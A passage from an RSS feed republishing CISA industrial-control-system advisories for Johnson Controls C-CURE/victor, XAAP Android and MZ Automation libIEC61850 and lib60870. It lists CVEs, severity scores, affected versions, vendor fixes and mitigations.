<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34496</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;=v7.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Harrison Neal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls XAAP Android]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.
The following versions of Johnson Controls XAAP Android are affected:

XAAP Android]]></description>
<link>https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.</strong></p>
<p>The following versions of Johnson Controls XAAP Android are affected:</p>
<ul>
<li>XAAP Android &lt;1.53</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 3.3</td>
<td>Johnson Controls</td>
<td>Johnson Controls XAAP Android</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34490</a></h3>
<div class="csaf-accordion-content">
<p>A cleartext storage weakness exists in the Fire Solutions Android application, which stores application data locally on the device without encryption. An attacker with physical access to the device and one able to compromise the device through a separate, unrelated flaw, could potentially read this data in plaintext. Exploitation does not require network access and is limited to the local device environment.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34490">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls XAAP Android</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls XAAP Android: &lt;1.53</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Johnson Controls recommends users update the XAAP Android application to version 1.53 or later, which contains the fix for this vulnerability.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users restrict physical access to devices running the XAAP Android application.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users ensure devices are hardened with up-to-date Android OS versions, device encryption enabled, and screen lock protections in place.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users implement a Mobile Device Management (MDM) solution to enforce security policies, including encryption requirements, application whitelisting, and remote wipe capabilities.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users Avoid rooting or jailbreaking devices used in production environments, as this weakens OS-level security controls that help protect local application data.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-10.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/312.html">CWE-312 Cleartext Storage of Sensitive Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Johnson Controls reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls JCI-PSA-2026-10</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation libIEC61850]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.
The following versions of MZ Automa...]]></description>
<link>https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.</strong></p>
<p>The following versions of MZ Automation libIEC61850 are affected:</p>
<ul>
<li>libIEC61850 &gt;=v1.0.0|&lt;=v1.6.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>MZ Automation</td>
<td>MZ Automation libIEC61850</td>
<td>Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Transportation Systems</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50039</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50039">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-49035</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-49035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/122.html">CWE-122 Heap-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50103</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50103">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/228.html">CWE-228 Improper Handling of Syntactically Invalid Structure</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50032</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Abhinav Agarwal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation lib60870]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.
The following versions of MZ Automation lib60870 are affected:

lib60870]]></description>
<link>https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-07.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.</strong></p>
<p>The following versions of MZ Automation lib60870 are affected:</p>
<ul>
<li>lib60870 &lt;=2.4.0</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.2</td>
<td>MZ Automation</td>
<td>MZ Automation lib60870</td>
<td>Out-of-bounds Read</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Energy, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-16002</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-16002">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation lib60870</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation lib60870: &lt;=2.4.0</div>
